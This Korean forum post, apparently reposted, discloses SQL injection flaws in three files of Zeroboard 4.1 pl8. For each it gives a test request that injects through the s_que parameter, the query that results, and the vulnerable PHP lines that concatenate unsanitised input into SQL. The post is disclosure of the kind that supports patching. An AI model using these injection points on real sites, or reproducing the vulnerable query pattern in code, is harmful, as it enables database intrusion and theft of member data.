사이트 내 전체검색
PHP
[제로보드] [4.1 pl8]제로보드 SQL 인젝션 취약점 발생
로빈아빠
https://cmd.kr/php/710 URL이 복사되었습니다.

본문

                                                                                 - 발견자     : XX유치원 선생 황..
                                                                                 도움주신분 : 우리반 7세 친구들 ^^,  회충(Silverbug)

총 3개의 파일 SQL 인젝션 취약한 파일 발견..
그외 관리자 권한이 필요한 소스에서도 다수 발견...(리포팅 안함)

아이들과 해킹 놀이를 하다가 발견!


1. 취약한 파일 :: zboard.php

[TEST Code]
 http://AttackServer/bbs/zboard.php?id=test&s_que=SQL_INJECTION

[Result]
 select * from zetyx_board_test where SQL_INJECTION order by headnum asc limit 0, 20


[File line number]
 17         if($s_que) {
 18                 $_dbTimeStart = getmicrotime();
 19                 $que="select * from $t_board"."_$id $s_que order by $select_arrange $desc limit $start_num, $page_num";
 20                 $result=mysql_query($que,$connect) or Error(mysql_error());
 21             


2. 취약한 파일 ::  member_memo3.php

[TEST Code]
 http://AttackServer/bbs/member_memo3.php?s_que=SQL_INJECTION

[Result]
 select count(*) from zetyx_member_table SQL_INJECTION

[File line number]
 19         if($keyword) {
 20                 if(!$status) $s_que=" where user_id like '%$keyword%' or name like '%$keyword%' ";
 21         }

 23 //전체 회원의 수
 24         $temp2=mysql_fetch_array(mysql_query("select count(*) from $member_table  $s_que"));

 // 오프라인 멤버
 52         if(!$status) {
 53                 $que="select * from $member_table $s_que order by no desc limit $start_num,$page_num";
 54                 $result=mysql_query($que) or Error(mysql_error());

 


3.  취약한 파일 ::  _head.php

[TEST Code]
 POST /bbs/zboard.php HTTP/1.1
 Host: AttackServer
 Cookie: PHPSESSID=00447af854280a8516774c9ffce366cf
 Content-Length: 128

 page=1&id=test&select_arrange=headnum&desc=asc&page_num=20&selected=&exec=&sn=off&ss=on&sc=on&category=&keyword=Search&x=17&y=11&s_que=SQL INJECTION

[Result]
 select count(*) from zetyx_board_test  where division='1' and  SQL INJECTION and (  subject like '%asdfsadf%'  or memo like '%asdfsadf%'  ) 

[File line number]
 172     $temp=mysql_fetch_array(mysql_query("select count(*) from $t_board"."_$id $s_que ",$connect));
[출처] [4.1 pl8]제로보드 SQL 인젝션 취약점 발견.|작성자 사군

 

댓글목록

등록된 댓글이 없습니다.

PHP
871 (5/18P)

Search

Copyright © Cmd 명령어 18.188.38.142